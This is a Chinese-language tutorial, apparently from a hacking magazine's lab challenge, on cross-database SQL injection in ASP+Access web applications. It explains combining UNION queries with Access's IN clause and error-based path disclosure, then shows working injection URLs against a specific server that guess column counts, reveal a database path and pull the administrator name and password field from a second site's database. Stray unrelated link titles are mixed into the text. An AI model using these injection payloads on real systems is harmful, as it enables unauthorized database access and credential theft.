首先讓我們看看在Access裡是怎樣實現對mdb文件進行查詢的,我們隨便創建個空數據庫,對數據庫D:\daos\db\daidalos.mdb裡的admin表的內容進行查詢,SQL語句為:
SELECT * from admin in "D:\daos\db\daidalos.mdb"
·將查詢結果導出到Excel的另一個方法
·C#通過查詢結果進行分頁
·SQL應用--查詢最大版本值
·Hibernate對多表關聯查詢
·五種查詢Internet連接狀態[含IP]的方法
·MS SQL Server查詢優化方法
·MicrosoftSQLServer2000分布式查詢:OLED
·SQL數據查詢的例子,包括許多復雜的查詢
·Windows 2000之SNMP查詢
·用VFP的DBF進行SQLServer的分布式查詢
查詢後,成功返回目標數據庫裡表admin表裡的內容:
在實際的ASP注射中,要同時進行2個select,如果大家熟悉php+mysql注射的話,應該很容易想到使用union進行聯合查詢,在Access裡我們照樣可以使用,使用union查詢還有一個好處就是不要去對數據進行一個一個字符的去猜,而可以象MySQL+PHP注射一樣直接暴出字段裡的數據(具體的mix已經寫了一篇詳細的文章)。從上面可以看出來要實現跨庫查詢必修要下面2個條件:
1.使用union查詢必須知道前一個select裡表的字段數
2.必須知道目標數據庫的所在位置,絕對路徑。
條件1我們可以根據提示錯誤信息來手工猜解,也可以通過程序自動實現。
條件2 這個是個難點,不過我們可以通過利用“Access暴庫”來實現,有人會說既然可以知道數據位置,那不直接下載得拉,其實不然,現在的數據庫一般防止下載,有的根本不web目錄下。
在黑防第四輪實驗室的第一關,就是設置的2個ASP+Access的下載系統,一個是雨點下載系統,一個是盜帥下載系統。 經過測試 盜帥下載系統可以暴出數據庫但是不讓下載,似乎也沒什麼地方可以注射,而雨點下載系統就是漏洞百出了,數據庫可以暴且可以直接下載,還可以注射。不過雨點的後台很簡單,沒什麼可以利用的地方,我們的目標就放在得到盜帥後台密碼上了,下面我就給大家演示下,通過雨點系統的注射點對盜帥系統的跨庫查詢而得到盜帥的後台密碼:
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%201%20from%20userinfo
Microsoft JET Database Engine 錯誤 '80040e14'
在聯合查詢中所選定的兩個數據表或查詢中的列數不匹配。
/yddown/list.ASP,行51
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%201,2,3%20from%20userinfo
http://219.237.81.46/dsdown%5cregs.ASP
Microsoft JET Database Engine 錯誤 '80004005'
'D:\111\db\kljdsld.asa'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務器。
/dsdown/db/user.ASP,行6
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1
http://219.237.81.46/yddown/list.ASP?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:\111\dsdown\db\kljdsld.asa"%20where%20id=1